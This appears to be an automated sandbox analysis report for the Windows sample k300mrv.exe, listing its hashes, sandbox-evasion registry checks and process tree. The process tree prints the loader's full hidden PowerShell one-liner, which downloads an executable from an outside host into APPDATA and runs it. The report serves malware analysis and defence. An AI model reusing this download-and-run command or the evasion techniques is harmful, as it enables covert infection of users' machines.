Analysis
- user interaction
yes - max time kernel
148s - max time network
115s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
05/08/2026, 07:10
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
k300mrv.exe
Resource
win10v2004-20260513-en
14 signatures
150 seconds
Behavioral task
behavioral2
Sample
k300mrv.exe
Resource
win11ltsc2024-20260709-en
10 signatures
150 seconds
General
- Target k300mrv.exe
- Size 3.1MB
- Sample260805-hzpehack4t
- SHA256 6001f3feca2243b39550842e30b06ef760cfbcf1ea22f3f156451a950de2bca2
- MD5 c0486344e7f93aab6803a072220a8795
- SHA1 331134c924f9c549f68116c7d0566dbe5c0a57c7
- SHA512 11ec7c51064defdb96558acc3355f5dbe2bb72a76423e2b64d674ea3f10cd94b02078733a95a5b99c616abeedd6bb1892fda7e4d89c0f07b1b41be72c9ea478e
- SSDEEP 49152:ONEOdxOMlP98UajkM7nDGal4UDbTqMxtlDsaUc5i+jzeDYDK1+vgJM34:O9habd2AdxdsDOwM3
- TLSH T17CE5F103E35682E8C56B9538C6BA9F1BF7707840132497EB22E12E256F57AF01E7B351
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 2576 powershell.exe 4 2576 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2576 powershell.exe - Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion k300mrv.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5980 cmd.exe 4696 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 k300mrv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString k300mrv.exe - Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BaseBoardProduct k300mrv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName k300mrv.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemBiosUUID k300mrv.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS k300mrv.exe - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2576 powershell.exe 2576 powershell.exe 2576 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2576 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2608 k300mrv.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2608 wrote to memory of 5980 2608 k300mrv.exe 89 PID 5980 wrote to memory of 4696 5980 cmd.exe 91 PID 4696 wrote to memory of 2576 4696 cmd.exe 94
Processes
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C:\Users\Admin\AppData\Local\Temp\k300mrv.exe"C:\Users\Admin\AppData\Local\Temp\k300mrv.exe"1⤵
- Checks BIOS information in registry
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK361367.exe; Start-Process -FilePath $env:APPDATA\BK361367.exe -WindowStyle Hidden }"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5980 -
C:\Windows\system32\cmd.execmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK361367.exe; Start-Process -FilePath $env:APPDATA\BK361367.exe -WindowStyle Hidden }"3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4696 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK361367.exe; Start-Process -FilePath $env:APPDATA\BK361367.exe -WindowStyle Hidden }"4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2576
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:6040